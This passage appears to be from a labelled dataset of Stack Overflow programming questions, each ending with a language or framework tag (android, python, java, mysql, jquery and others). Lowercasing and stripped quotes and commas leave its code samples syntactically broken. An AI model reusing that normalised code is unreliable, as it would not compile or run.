mdrawerlistview.setadapter(new customnavadapter(                 navigationdrawerfragment.this.getactivity()                  new string[]{                         getstring(r.string.title_section1)                          getstring(r.string.title_section2)                          getstring(r.string.title_section3)                          getstring(r.string.title_section4)                          getstring(r.string.title_section5)                          getstring(r.string.title_section6)                  }                  new integer[]{                         r.mipmap.ic_launcher                          r.mipmap.ic_launcher                          r.mipmap.ic_launcher                          r.mipmap.ic_launcher                          r.mipmap.ic_launcher                          r.mipmap.ic_launcher                  }));          mdrawerlistview.setitemchecked(mcurrentselectedposition  true);         return mdrawerlistview;     }      /* custom array adapter tu support images and pictures combined */     public class customnavadapter extends arrayadapter&lt;string&gt; {         private final activity _context;         private final string[] _text;         private final integer[] _imageid;          public customnavadapter(activity context  string[] text  integer[] imageid) {             super(context  r.layout.navigation_drawer_textview  text);             this._context = context;             this._text = text;             this._imageid = imageid;         }          @override         public view getview(int position  view convertview  viewgroup parent) {              layoutinflater inflater = _context.getlayoutinflater();             view rowview = inflater.inflate(r.layout.navigation_drawer_textview  null  true);             textview txttitle = (textview) rowview.findviewbyid(r.id.text);             imageview imageview = (imageview) rowview.findviewbyid(r.id.icon);             txttitle.settext(_text[position]);             imageview.setimageresource(_imageid[position]);              return rowview;         }        }      public boolean isdraweropen() {         return mdrawerlayout != null &amp;&amp; mdrawerlayout.isdraweropen(mfragmentcontainerview);     }      /**      * users of this fragment must call this method to set up the navigation drawer interactions.      *      * @param fragmentid   the android:id of this fragment in its activity s layout.      * @param drawerlayout the drawerlayout containing this fragment s ui.      */     public void setup(int fragmentid  drawerlayout drawerlayout) {         mfragmentcontainerview = getactivity().findviewbyid(fragmentid);         mdrawerlayout = drawerlayout;          // set a custom shadow that overlays the main content when the drawer opens         mdrawerlayout.setdrawershadow(r.drawable.drawer_shadow  gravitycompat.start);         // set up the drawer s list view with items and click listener          actionbar actionbar = getactionbar();         actionbar.setdisplayhomeasupenabled(true);         actionbar.sethomebuttonenabled(true);          // actionbardrawertoggle ties together the the proper interactions         // between the navigation drawer and the action bar app icon.         mdrawertoggle = new actionbardrawertoggle(                 getactivity()                     /* host activity */                 mdrawerlayout                     /* drawerlayout object */                 r.string.navigation_drawer_open   /*  open drawer  description for accessibility */                 r.string.navigation_drawer_close  /*  close drawer  description for accessibility */         ) {             @override             public void ondrawerclosed(view drawerview) {                 super.ondrawerclosed(drawerview);                 if (!isadded()) {                     return;                 }                  getactivity().supportinvalidateoptionsmenu(); // calls onprepareoptionsmenu()             }              @override             public void ondraweropened(view drawerview) {                 super.ondraweropened(drawerview);                 if (!isadded()) {                     return;                 }                  if (!muserlearneddrawer) {                     // the user manually opened the drawer; store this flag to prevent auto-showing                     // the navigation drawer automatically in the future.                     muserlearneddrawer = true;                     sharedpreferences sp = preferencemanager                             .getdefaultsharedpreferences(getactivity());                     sp.edit().putboolean(pref_user_learned_drawer  true).apply();                 }                  getactivity().supportinvalidateoptionsmenu(); // calls onprepareoptionsmenu()             }         };          // if the user hasn t  learned  about the drawer  open it to introduce them to the drawer          // per the navigation drawer design guidelines.         if (!muserlearneddrawer &amp;&amp; !mfromsavedinstancestate) {             mdrawerlayout.opendrawer(mfragmentcontainerview);         }          // defer code dependent on restoration of previous instance state.         mdrawerlayout.post(new runnable() {             @override             public void run() {                 mdrawertoggle.syncstate();             }         });          mdrawerlayout.setdrawerlistener(mdrawertoggle);     }      private void selectitem(int position) {         mcurrentselectedposition = position;         if (mdrawerlistview != null) {             mdrawerlistview.setitemchecked(position  true);         }         if (mdrawerlayout != null) {             mdrawerlayout.closedrawer(mfragmentcontainerview);         }         if (mcallbacks != null) {             mcallbacks.onnavigationdraweritemselected(position);         }     }      @override     public void onattach(activity activity) {         super.onattach(activity);         try {             mcallbacks = (navigationdrawercallbacks) activity;         } catch (classcastexception e) {             throw new classcastexception( activity must implement navigationdrawercallbacks. );         }     }      @override     public void ondetach() {         super.ondetach();         mcallbacks = null;     }      @override     public void onsaveinstancestate(bundle outstate) {         super.onsaveinstancestate(outstate);         outstate.putint(state_selected_position  mcurrentselectedposition);     }      @override     public void onconfigurationchanged(configuration newconfig) {         super.onconfigurationchanged(newconfig);         // forward the new configuration the drawer toggle component.         mdrawertoggle.onconfigurationchanged(newconfig);     }      @override     public void oncreateoptionsmenu(menu menu  menuinflater inflater) {         // if the drawer is open  show the global app actions in the action bar. see also         // showglobalcontextactionbar  which controls the top-left area of the action bar.         if (mdrawerlayout != null &amp;&amp; isdraweropen()) {             inflater.inflate(r.menu.global  menu);             showglobalcontextactionbar();         }         super.oncreateoptionsmenu(menu  inflater);     }      @override     public boolean onoptionsitemselected(menuitem item) {         if (mdrawertoggle.onoptionsitemselected(item)) {             return true;         }          if (item.getitemid() == r.id.action_logout) {             /* logout from facebook */             loginmanager.getinstance().logout();             /* switch back to login screen */             intent intent = new intent(getactivity()  loginactivity.class);             startactivity(intent);               toast.maketext(getactivity()   logout!   toast.length_short).show();             return true;         }          return super.onoptionsitemselected(item);     }      /**      * per the navigation drawer design guidelines  updates the action bar to show the global app      *  context   rather than just what s in the current screen.      */     private void showglobalcontextactionbar() {         actionbar actionbar = getactionbar();         actionbar.setdisplayshowtitleenabled(true);         actionbar.setnavigationmode(actionbar.navigation_mode_standard);         actionbar.settitle(r.string.app_name);     }      private actionbar getactionbar() {         return ((appcompatactivity) getactivity()).getsupportactionbar();     }      /**      * callbacks interface that all activities using this fragment must implement.      */     public static interface navigationdrawercallbacks {         /**          * called when an item in the navigation drawer is selected.          */         void onnavigationdraweritemselected(int position);     } } </code></pre>,android
make the menu items of a menu overflow icon at the centre of screen  i want to show the drop down items upon clicking the menu overflow icon at the action bar of my app  at the center of the device screen.    here is the menu overflow icon    <a href= https://i.stack.imgur.com/ovfgw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ovfgw.png  alt= enter image description here ></a>    here is the menu items on clicking the icon    <a href= https://i.stack.imgur.com/dmxvl.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/dmxvl.png  alt= enter image description here ></a>    i want those items to be shown at the center of the screen. how to go about doing that,android
concatenate variable to variable  python noob here so forgive me if i have an easy question. i want to set the variable name to whatever value i am passing using my for loop.   <pre><code>roles = [ a     b     c ] for role in roles:     print (role)      outputfor +role = function_that_gives_outputforrole(role) </code></pre>   so i want my variables to read <code>outputfora</code>   <code>outputforb</code> and <code>outputforc</code> .    but i am getting the below error   <pre><code>     outputfor +role = function_that_gives_outputforrole(role)            ^ syntaxerror: can t assign to operator </code></pre>   what am i missing here,python
private variables initialization  i ran the below code:   <pre><code>public class box {      private int length = 1;     private int width = 2;     private int height = 3;       box(int l  int w  int h) {             length = l;             width = w;             height = h;         }          double volume() {             return length * width * height;         }  } </code></pre>  <hr>  <pre><code>public class demobox {      public static void main(string[] args) {          box box1 = new box(3  3  3);         system.out.println( volumne:   +box1.volume());     } } </code></pre>   i always thought i wont be able to modify the values of private variables without getter/setter. but in the code above  i was able to pass values to private variables and the result volume came to be 27 (3*3*3). is this expected behavior and pls explain where i am missing in my understanding in private variables and also getters/setters,java
default page not rendering with site.master content  i have a hosting account with godaddy.com  iis 7 server running .net 4.0  and i am in the early stages of developing a web site for our church.  the content is a free css based template i have moved into an asp.net web app with master pages.  (if critique on content is necessary please keep in mind this is a very early stage of development...but i am open to any suggestions. :) )    for some reason  when i enter the full url to the default page  the page renders properly.  however  if i only enter the folder name without the page name  i only get the content form the page itself.    see for your self:    <a href= http://www.websmithsllc.com/lpacftp/home.aspx  rel= nofollow >http://www.websmithsllc.com/lpacftp/home.aspx</a>    <a href= http://www.websmithsllc.com/lpacftp  rel= nofollow >http://www.websmithsllc.com/lpacftp</a>    i don t think this is an issue with my wire-up between the content page and the masterpage as it will properly render when i use the full url. therefore  i assume the issue is in one of three areas:   <ol> <li>how i am publishing: one click to an ftp directory</li> <li>the project settings: currently home.aspx is the start page</li> <li>an issue with the settings on my host.</li> </ol>   i really hope the issue isn t #3 because my experience so far has been that their tech support is severely lacking in the area of visual studio / iis development and publishing.      now  some additional clues.  i know that the site.master file is being rendered  at least to some extent.  the menu that is being displayed is created in the site.master.page_load event handler:   <pre><code>    protected void page_load(object sender  eventargs e)     {         //load sidebar content         page p = httpcontext.current.currenthandler as page;         menucontent.text = helpers.statichelpermethods.generatemenucontent(p.title);     } </code></pre>   static method:         public static string generatemenucontent(string pagetitle)         {             stringbuilder menu = new stringbuilder();   <pre><code>        if (pagetitle ==  home )         {             menu.append( &lt;a href=\ home.html\  class=\ but but_t\   title=\ home page\ &gt;home&lt;/a&gt;\n );         }         else         {             menu.append( &lt;a href=\ home.html\  class=\ but\   title=\ home page\ &gt;home&lt;/a&gt;\n );         }     more similar code... </code></pre>   in this case  p.title should ==  home   but the code is responding as though is does not  and i don t know how (if i can) debug live to see what s going on.  finally  if you look closely at the second link  you ll notice some stock asp.net advertising text- that appears to be coming from the stock  default.aspx  file in the bodycontent asp:content object. however  looking at the properties/web tab i can see that the startup action is specific page : home.aspx.      so- hopefully i haven t added a ton of unnecessary info here  but at least enough for someone with more experience to help me figure out what i m doing wrong here.    thanks in advance for whatever help you can offer me on this.,asp.net
editing one list<> edits it s clone  i have this list of custom class objects:   <pre><code>list&lt;url&gt; urls = new list&lt;url&gt;(); </code></pre>   and i m trying to push a copy on to a stack:   <pre><code>stack&lt;list&lt;url&gt;&gt; undo = new stack&lt;list&lt;url&gt;&gt;();  list&lt;url&gt; temp = new list&lt;url&gt;(); temp.addrange(new list&lt;url&gt;(urls)); undo.push(temp); </code></pre>   now whenever i delete an object from the original (urls) list everything is ok with the one on the stack (temp). but when i delete a list element from a list inside the object in the original (urls) the same element dissapears in the copy of that object s list that is on the stack.    i delete objects from urls the same way i delete list elements inside that object. does anyone know why this is happening,c#
is there any other sql clause like where  <pre><code>select      tbl_tmpdtr.id       tbl_tmpdtr.userid       date(tbl_tmpdtr.in_out) as in_out       tbl_tmpdtr.status       tbl_employee.emp_id       tbl_employee.emp_lname       tbl_employee.emp_mname       tbl_employee.emp_fname  from tbl_tmpdtr  inner join tbl_employee      on tbl_tmpdtr.userid = tbl_employee.emp_id  where      tbl_tmpdtr.in_out &gt;=  2015-05-01       and tbl_tmpdtr.in_out &lt;=  2015-05-05  group by     tbl_tmpdtr.userid </code></pre>   in the sql query above  i would like to query using a specific <code>id</code>. but i already used the <code>where</code> clause. how can i properly do this  or do you guys have any idea how  or any method,mysql
how to display geographical details in combo box   i m using 4 combo boxes for displaying latitude details.the latitude details are degree minutes seconds and north/south.when i select the city in combo box the latitude details from sql server <strong>(for that city)</strong> should be displayed.can anyone please help me how to fix this problem,asp.net
.net 4.6.1 causes .net 4 applications to not find a connection string in the application config file  .net v4.6.1 framework is rolling out across the domain where i work and is breaking .net v4 applications deployed by clickonce.  in particular the error message is  no connection string named &lt;> could be found in the application config file.    up to now my work around has been to uninstall v4.6.1  the install v4.  about 50% of the time this resolves the problem with the v4 program.  the other 50% of the time when the v4 program is launched another error is thrown which is  could not load file or assembly system  version=2.0.5.0 in .net 4 mvc 4 application  this was solved using the suggestion from this page [ <a href= https://stackoverflow.com/questions/23903657/could-not-load-file-or-assembly-system-version-2-0-5-0-in-net-4-mvc-4-applicat >could not load file or assembly system  version=2.0.5.0 in .net 4 mvc 4 application</a> ] to install ms kb2468871 [ <a href= https://support.microsoft.com/en-us/kb/2468871  rel= nofollow noreferrer >https://support.microsoft.com/en-us/kb/2468871</a> ].    now i have a computer that requires 4.6.1 so i can no longer solve this problem by correcting the symptom of removing 4.6.1.  would my .net v4 application be using v4.6.1 at runtime  and if so  is there a change in the way the application config file is searched for in v4.6.1 for clickonce programs     update - this <a href= http://blogs.msdn.com/b/rodneyviana/archive/2014/12/23/identifying-the-net-version-you-are-running-2-0-4-5-4-5-1-or-4-5-2.aspx  rel= nofollow noreferrer >page</a> states that when .net 4.5 is installed  all .net 4 programs will run under v4.5+ and that v4.0 and v4.5+ cannot coexist.  so my v4.0 program is being hosted by v.4.6.1.  now i need to find out how the application configuration file has changed in v4.6.1 versus v4.0.,.net
linqtosql join what type to use as return on list  i got the join below  what type/class would i return to keep all the properties  this is the northwind database  which i think most guys are familiar with.   <pre><code>         var q =                from a in db.gettable&lt;order_detail&gt;()                join b in db.gettable&lt;product&gt;() on a.productid equals b.productid                select a; </code></pre>,c#
photos from last gallery  i have galleries and photos in all galleries.    is possible  in only one query  to list the photos of last the gallery  the last gallery is the most recently date    for example:    table  gallery  with field  data  and table  fotos  with fields  file  and  gallery_fk     thanks,mysql
operator overloading for objects in multiple classes  so can you overload operators to handle objects in multiple classes (specifically private members.)    for example if i wanted == to check if a private member in class a is equal to objects in a vector in class b.     for example:   <pre><code>bool book::operator==(const book&amp; check){  return(((isbn1 == check.isbn1) &amp;&amp; (isbn2 == check.isbn2) &amp;&amp; (isbn3 == check.isbn3)          &amp;&amp; (isbn4 == check.isbn4)) || (title_ == check.title_));} </code></pre>   everything in that overload is part of the book class  however what if i wanted to do something like this.   <pre><code> if(*this == bookcheckout[i]) </code></pre>   with bookcheckout being part of a library class. the == would fail in trying to compare title_ to a title_ stored in a vector of the library class.    it s odd because i have the program doing the exact same thing in two different places  but in one place it s working and in the other it isn t.    answered: had to have the function that the operator was in be a member function of the same class that the operator was a member function of,c++
is it possible to upload image to a website from safari on iphone   i m trying to upload a photo from my iphone to a website. however  the browse button to display the select file dialog is disabled. normally this works fine on my htc mobile and all android mobiles. should i be able to select image files to upload from safari on iphone,iphone
system.diagnostic.process.start not working  i have this code      <pre><code>                process p = new process();                 p.enableraisingevents = true;                 p.startinfo = new processstartinfo();                 p.startinfo.filename = 11.avi;                 p.startinfo.useshellexecute = true;                  p.start();                 p.waitforexit();                 p.dispose(); </code></pre>   when i run it windows media player launches and plays the avi file. so far so good  however when teh waitforexit is called i get an exception   no process is associated with this object .<br> what am i doing wrong  setting shellexcecute to false does not help either. what is really weird is if i use an mkv file vlc player launches and this code works fine. what is so special about .avi files ( the file extension i mean obviously the file type is not important here )<br> thanks,.net
how to import .net chart control   i am working with .net 4.5 and am trying to use the chart control.    i followed the instructions at this url:    <a href= http://msdn.microsoft.com/en-us/library/dd489237.aspx  rel= nofollow >http://msdn.microsoft.com/en-us/library/dd489237.aspx</a>    however  when i import the control  i get the following message:   <blockquote>     the following controls were successfully added to the toolbox but are   not enabled in the active designer:        chart        make sure the controls to add are compatible with the current designer   and .net framework version   </blockquote>   how can i get the control to appear in my toolbox     edit: i am building a windows forms app.,.net
style input file filename text  is there a way i can style the <strong><em>file name text</em></strong> that is displayed next to the browse <code>button</code> (shown in the image)  i want to move it via <code>position:absolute</code> and stuff. thanks.    <img src= https://i.stack.imgur.com/tf7bp.png  alt= enter image description here >,css
why aren t i seeing a difference in performance between an api that takes in a collection of files vs. a zip   i need an api that takes in multiple files. i m trying to figure out if the api should take in a collection of files directly  or a single zip.    i wrote two quick apis. one that takes in a collection of files and returns  and one that takes in a zip  unzips the files  then returns. i ve also written some tests that create 1..20 files  then either zips the files and calls the zip api  or just sends the files directly.     i was expecting that as the number of files grew  the zip api s performance would scale better than sending a collection of files. from my quick tests though  performance stayed the same regardless if it was 1 file or 20 files  and regardless if i zipped or not. what!      is there some magic going on somewhere that makes this happen  do i need more data  or are my assumptions just wrong,.net
changing just one border of a cell s (top  left  etc.) thickness.  making a table  and i can t seem to figure out how to make a &lt; t d > s top border thickness greater than the other 3 sides even after all of the research i ve done. i was hoping i could do something along the lines of  but can t figure it out. ideas,html
how to add multiple placeholders to html program   i have made a program.      <pre><code>&lt;div id= todo-app &gt;     &lt;label class= todo-label  for= new-todo &gt;what do you want to do today &lt;/label&gt;     &lt;input type= text  id= new-todo  class= todo-input          placeholder= buy milk &gt; &lt;/div&gt; </code></pre>   but in the <code>placeholder</code> section i want it to randomly display other placeholders. for example  if you reload  new placeholder texts will appear. one time it ll say  buy milk  and another  purchase the new iphone .,html
show div if cookie is set  i m using js-cookie to set a cookie. i ve got a div which is set to <code>display: none;</code> and if the cookie is set i want to change it to <code>display:block;</code> .    the html:   <pre><code>&lt;div id= cookie-hide &gt;   &lt;p&gt;test&lt;/p&gt;  &lt;/div&gt; </code></pre>   the css:   <pre><code>&lt;style&gt; #cookie-hide {display: none;} &lt;/style&gt; </code></pre>   this is the js:   <pre><code>&lt;script&gt; function checkcookie() {     var user= cookies.get( video )     if (user !=   ) {       document.getelementbyid( cookie-hide ).style.display =  block ;     } }  cookies.set( video    play ); &lt;/script&gt; </code></pre>   i can see in chrome that the cookie has been set but the div still doesn t display. any ideas what s wrong with the code,javascript
regarding epub uploading   one of my clients wants a functionality to sync his ebook reader app of iphone with itunes store or app store for downloading epubs or ebooks and want to put his epub and ebooks at itunes store or app store.he do not want maintain a server for this purpose.    is it possible to upload epubs or ebooks on itunes store or app store   if yes what is the process and how will sync the app for downloading the epubs and ebooks      thanks  anuj saini,objective-c
unable to grab the element which is loaded using load() method from parent element  i am quite a newbie to jquery. i have loaded an html element with some pics in it using   <pre><code>$( #productscontainer ).load( productsthumbs.aspx ); </code></pre>   now  the <code>productsthumbs.aspx</code> file contains images with class <code>.thumbs</code>. now i can not find that element using jquery from my parent element. can some one please help me with it  i tried using <code>.thumbs</code> from parent element but it returns nothing.  thanks.,jquery
populate blocks of html code dependant on select option value  i have a select box where by the user can select how many people they want to select to register. for example if 4 is selected then 4 people registration areas appear below in a form:    jquery:   <pre><code>var person =  &lt;div class= reg-person &gt;&lt;span class= person &gt;person 1&lt;/span&gt;&lt;div class= field &gt;&lt;label for= name &gt;name&lt;/label&gt;&lt;input type= text  id= name  name= name  /&gt;&lt;/div&gt;&lt;div class= field &gt;&lt;label for= company &gt;company&lt;/label&gt;&lt;input type= text  id= company  name= company  /&gt;&lt;/div&gt;&lt;div class= field &gt;&lt;label for= email &gt;email address&lt;/label&gt;&lt;input type= text  id= email  name= email  /&gt;&lt;/div&gt;&lt;div class= field &gt;&lt;label for= contact &gt;contact number&lt;/label&gt;&lt;input type= text  id= contact  name= contact  /&gt;&lt;/div&gt;&lt;/div&gt; ;              var peopledisplayed = 0;              $( .places-req ).change(function() {                 if(peopledisplayed == 0) {                     peopledisplayed = ($(this).val());                     numberpeople = ($(this).val());                     for(var i = 1 ; i &lt;= numberpeople ; i++){                         $( #register ).prepend(person);                     }                 } else {                     var peoplediff = ($(this).val() - peopledisplayed);                     if (peoplediff &gt; 0) {                         for(var i = 1 ; i &lt;= peoplediff ; i++){                             $( #register ).prepend(person);                         }                     } else if (peoplediff &lt; 0) {                         var diff = -peoplediff;                         for(var i = 1 ; i &lt;= diff ; i++){                             $( #register ).children( div.person ).last().remove();                         }                     }                     peopledisplayed = ($(this).val());                 }              }); </code></pre>   the html is:   <pre><code>&lt;form id= register  action= /event/scripts/register.html  method= post &gt;                           &lt;div class= submit-field &gt;                             &lt;input type= hidden  value= 1  id= event  name= event  /&gt;                             &lt;input type= submit  value=   /&gt;                         &lt;/div&gt;                         &lt;p&gt;* please note that we will not pass your details to a third party.&lt;/p&gt;                     &lt;/form&gt; </code></pre>   my question is how can i amend the code so that for each person it shows person 1  person 2 etc... at the moment they all show as person 1. i ll also need to use this number to use with the form field names so that they are different  name1  name2 etc..,jquery
uiscrollview  scroll back   <img src= https://i.stack.imgur.com/fjqus.png  alt= alt text >i have a uiscrollview which has a uiview embedded in it. it have 2 buttons  scroll  and  unscroll .on clicking the  scroll  button  my scrollview scroll up from the bottom of the parent view. everything works fine until here but when i click the  unscroll  button to push the scrollview back to where it came from  nothing happens. i have posted the entire code here. please check where the fault lies !!. already spent a sizeable amount of time on it.   <pre><code>-(ibaction)unscrollclicked:(id)sender {  //[viewcontroller.view removefromsuperview];   [uiview beginanimations:@ back to original size  context:nil];   scrollview.contentsize=viewcontroller.view.bounds.size;    //scrollview.contentsize=viewcontroller.view.bounds.size;  [uiview commitanimations];  }  -(ibaction)scrollclicked:(id)sender  {   //viewcontroller.view.backgroundcolor=[uicolor orangecolor];  viewcontroller.view.frame=cgrectmake(0  410  320  460);   //[self.view addsubview:viewcontroller.view];   uiscrollview *scrollview = [[uiscrollview alloc] initwithframe:cgrectmake(0 40  320  400)];//(0 0 320 160)  scrollview.autoresizingmask = uiviewautoresizingflexibleheight | uiviewautoresizingflexiblewidth;   //[myview setframe:cgrectmake (0  0  320  170)];  viewcontroller.view.autoresizingmask = uiviewautoresizingflexibleheight | uiviewautoresizingflexiblewidth;  scrollview.contentsize = viewcontroller.view.bounds.size;    scrollview.bounces = yes;  scrollview.bounceszoom = yes;  scrollview.scrollenabled = yes;  scrollview.minimumzoomscale = 0.5;  scrollview.maximumzoomscale = 5.0;  scrollview.delegate = self;   [scrollview addsubview: viewcontroller.view];    [self.view addsubview:scrollview];  [self movescrollview:scrollview]; }  -(void) movescrollview:(uiscrollview *)scrollview  {   cgfloat scrollamount=400;     [scrollview setcontentoffset:cgpointmake(0 scrollamount) animated:yes]; } </code></pre>,iphone
in ror  is there an easy way to prevent the view from outputting   tags   i m new to ruby and rails and i have a simple controller that shows an item from the database in a default view. when it is displaying in html it is outputting <code>&lt;p&gt;</code> tags along with the text content. is there a way to prevent this from happening  i suppose if there isn t  is there at least a way to set the default css class for the same output in a statement such as this:   <pre><code>&lt;% @items.each do |i| %&gt;      &lt;%= i.itemname %&gt;     &lt;div class= menu_body &gt;            &lt;a href= # &gt;link-1&lt;/a&gt;            &lt;/div&gt; &lt;% end %&gt; </code></pre>   so the problem is with the <code>&lt;%= i.itemname %&gt;</code> part. is there a way to stop it from wrapping it in its own <code>&lt;p&gt;</code> tags  or set the css class for the output     thanks!,ruby-on-rails
overriding a .xml from an external library  i have imported a external lib using gradle   i need to change a color and a image link  which are written in an .xml file inside of the ext lib drawable folder. i cannot make direct changes to this build files. how do i override this resources     `    <pre><code>&lt;item     android:bottom= 0dp      android:left= 0dp      android:right= 0dp      android:top= 0dp &gt;     &lt;shape android:shape= rectangle  &gt;         &lt;stroke             android:width= 2dp              android:color= #ffc6292d  /&gt;          &lt;solid android:color= #ffffffff  /&gt;     &lt;/shape&gt; &lt;/item&gt; </code></pre>   `,android
what does empty string contain in c++  following code    <pre><code>#include &lt;stdio.h&gt; int main( int argc  char** argv )  {     const char *s =   ;     if (s ==  \0 ) {         int x = 0;     }     return 0; } </code></pre>   it does not go in the loop. why,c++
what specific uiview objects must use autolayout to have the app scale properly on the iphone 6/6+   must all uiview objects use autolayout  does apple have official documentation about this     the reason i ask is because i am working on an app and most of the uiviews (uiviewcontrollers  and most large views) are placed using autolayout  however something is obviously not scaling properly since the status bar is massive on the 6+. a particular pageviewcontroller is laid out using the uiscreen frame size however does that cause the entire app to lose scaling ability,ios
html unwanted padding at the bottom  i have created a page and just cannot get rid of the additional space that is being added at the bottom of the text. this creates a vertical scroll and white space that i don t want. the page needs to fit pixel for pixel.    <a href= https://i.stack.imgur.com/4hbkd.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/4hbkd.jpg  alt= space below the text  creating a vertical scroll bar and white space below ></a>    i have tried various solutions from stackoverflow and the internet  but nothing takes away the space.   <pre><code>&lt;body&gt; &lt;div style= line-height: 20%; position: absolute; top: 163px; left: 728px; width: 100px; &gt; &lt;span id= current_weather  style= letter-spacing: -0.1em; font-size:53px; &gt;&lt;/span&gt;&lt;span style= letter-spacing: -0.1em; font-size:53px; &gt;&amp;deg;c&lt;/span&gt; &lt;/div&gt;   &lt;/body&gt; </code></pre>   my apologies if i have not posted the question in the right format,html
order by is not using index  strange behaviour   i experience some problems when i try to get some mysql data using where and order.    the order is not using the table index even if i use where or simply order.    i have this table   <pre><code>create table if not exists `mytable`  (   `id` int(11) not null auto_increment    `title` varchar(255) collate utf8_unicode_ci default null    `price` mediumint(9) default null    primary key (`id`)    key `title` (`title`)    key `price` (`price`) ) engine=innodb  default charset=utf8 collate=utf8_unicode_ci auto_increment=11 ; </code></pre>   and i have this inserted rows  they are demo rows  number of rows it might get to 10.000   <pre><code>insert into `mytable` (`id`  `title`  `price`)  values     (1   pede. praesent eu dui. cum   552)      (2   lobortis tellus justo sit amet   663)      (3   nulla tempor augue ac ipsum.   87)      (4   ut sagittis lobortis mauris. suspendisse   653)      (5   orci luctus et ultrices posuere   88)      (6   in at pede. cras vulputate   474)      (7   erat eget ipsum. suspendisse sagittis.   686)      (8   magna nec quam. curabitur vel   999)      (9   felis eget varius ultrices  mauris   23)      (10   ut  pharetra sed  hendrerit a    943); </code></pre>   here are my queries   <pre><code>explain select id title price from `mytable` order by price </code></pre>   is not using any index  is using filesort.   <pre><code>explain select price from `mytable` order by price </code></pre>   is using the price index  but i need to get all my data  not only price.,mysql
multiple file uploads  i cannot upload more than 3 files with    <pre><code>&lt;input type= file  name= file[]  multiple/&gt;  </code></pre>   displays array empty on var_dump  but when there are 3 or less it displays each file properly.,php
why do i get  invalid conversion from  void *  to  int**  error   my code shows this warnings when compiling with  g++ -wall -pedantic -wno-long-long -c main.c . i have to compile in this mode  becouse its a homework and we have an application that corrects them and it uses this compile mode.   <ol> <li>error: invalid conversion from  void  to  int**   [-fpermissive]</li> <li>error: invalid conversion from  void  to  int*   [-fpermissive]</li> <li>error: invalid conversion from  void  to  main(int  char*<em>)::vysledek</em>  [-fpermissive]</li> </ol>   the same errors continue as i realloc quite a lot in my program. i tried to change almost everything in that realloc  it is still the same.    parts of the code :   <pre><code>    struct vysledek {     int sirka;     int vyska;     int zacatek_x;     int zacatek_y;     int soucet; } *vysledek;     int **matice **soucty;      .....             matice=(int**)malloc(1*sizeof(int*));     matice[0]=(int*)malloc(1*sizeof(int));     soucty=(int**)malloc(1*sizeof(int*));     soucty[0]=(int*)malloc(1*sizeof(int));      .....  1.      matice=realloc(matice naalokovano*2*sizeof(int*)); 2.      soucty=realloc(soucty naalokovano*2*sizeof(int*));      .....          for (i=0;i&lt;(naalokovano*2);i++)         { 3.            matice[i]=realloc(matice[i] sizeof(int)); 4.            soucty[i]=realloc(soucty[i] sizeof(int*));         };      .....  5.      vysledek=realloc(vysledek vysledku*sizeof(struct vysledek*)); </code></pre>   thank you for your help.,c
private member cannot accessible in child class but my below code give successful run why  ` private member cannot accessible in child class but my below code give successful run but i know that the private member only accessible in that class where its define. parentclass(parent class) and childclass(child class) are two.   <pre><code>public class parentclass {      public static void main(string[] args) {         // todo auto-generated method stub         childclass c=new childclass();         c.display( hazrat ali );         system.out.println( my father name is: +c.getname());      }  } class childclass extends parentclass {     private string name;     public void display(string n)     {         name=n;     }     public string  getname()     {         return name;     } }** </code></pre>,java
send mail to multiple receiver with html mailto <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/9278363/emailing-to-multiple-recipients-with-html-mailto-not-working >emailing to multiple recipients with html mailto: not working</a>    </blockquote>     i want to send with 1 html link a mail to multiple (100) recievers...    <pre><code>&lt;a href= mailto:first@mail.com; second@mail.com; third@mail.com &gt;send&lt;/a&gt; </code></pre>   this link doesn t work. it do nothing when  i press the link.,html
best way to share asp.net .ascx controls across different website applications   suppose you have 2 different asp.net applications in iis. also  you have some ascx controls that you want to share across these 2 applications.    what s the best way to create a  user control library   so that you can use the same control implementation in the 2 applications  withuot having to duplicate code     controls have ascx with html + code behind.   <hr>   composite controls will be difficult  because we work with designers who use the html syntax in the ascx files to style the controls.    tundey  we use svn here. do you have an example on how to implement your suggestion  how can svn share the asp.net controls     thanks!,asp.net
objective-c: multiple if and return statements with least amount of code  this is a question on how to code this efficiently with as little as code possible. it already works but i need to incoporate the paramenter <code>numberofshapes</code>. that if 1 returns ■  if 2 ■■  if 3 ■■■ etc...     i could do some extra if statemets and extra return statements. if square->if number = 1> return ■  if number >2 return ■■ etc.. but that is a whole lot of code for something very simple.    what is the best way of coding this with the least amount of code    <pre><code>- (nsstring *)getshape: (nsnumber *)shape numberofshapes: (nsnumber *)number {     if ([shape isequaltonumber:[nsnumber numberwithint:square]]) return @ ■ ;     if ([shape isequaltonumber:[nsnumber numberwithint:circle]]) return @ ● ;     if ([shape isequaltonumber:[nsnumber numberwithint:triangle]]) return @ ▲ ;      return @   ; } </code></pre>,objective-c
is it possible to have nulls in foreign keys in any ansi sql database   is it possible to have nulls in foreign keys in any ansi sql database,sql
angular s $interpolateprovider working only partially  i have a really weird problem. i am using <strong>$interpolateprovider</strong> in my angular app as i am passing some variables with node which is <strong> {{ }} </strong> by default so i have set angular s symbols to be: <strong> {[ ]} </strong>.    see below:   <pre><code>mainapp.config(function($interpolateprovider) {   $interpolateprovider.startsymbol( {[ );   $interpolateprovider.endsymbol( ]} ); }); </code></pre>   now  this works everywhere except in one part of my app. see the html below:   <pre><code>&lt;ul class= nav navbar-nav navbar-right  ng-controller= navbarcontroller &gt;  &lt;li&gt;&lt;a href= /profile#/profile &gt;profile&lt;/a&gt;&lt;/li&gt; &lt;li&gt; &lt;notification-icon count= {[notificationscount]} &gt;&lt;i class= fa fa-envelope-o fa-2x &gt;&lt;/i&gt;&lt;/notification-icon&gt; &lt;/li&gt; &lt;li class= dropdown &gt; &lt;a class= dropdown-toggle  data-toggle= dropdown &gt;settings&lt;strong class= caret &gt;&lt;/strong&gt;&lt;/a&gt; &lt;ul class= dropdown-menu &gt;     &lt;li&gt;         &lt;a href= /profilesettings# &gt;profile settings&lt;/a&gt;     &lt;/li&gt;     &lt;li class= divider &gt;&lt;/li&gt;     &lt;li&gt;         &lt;a href= /logout &gt;logout&lt;/a&gt;     &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; {[notificationscount]} &lt;/ul&gt; </code></pre>   the bit that doesn t work is:   <pre><code>count= {[notificationscount]}  </code></pre>   the bit that does work is right at the end:   <pre><code>{[notificationscount]} </code></pre>   on the browser  i get <a href= https://docs.angularjs.org/error/$parse/syntax p0=%7d&amp;p1=is%20unexpected 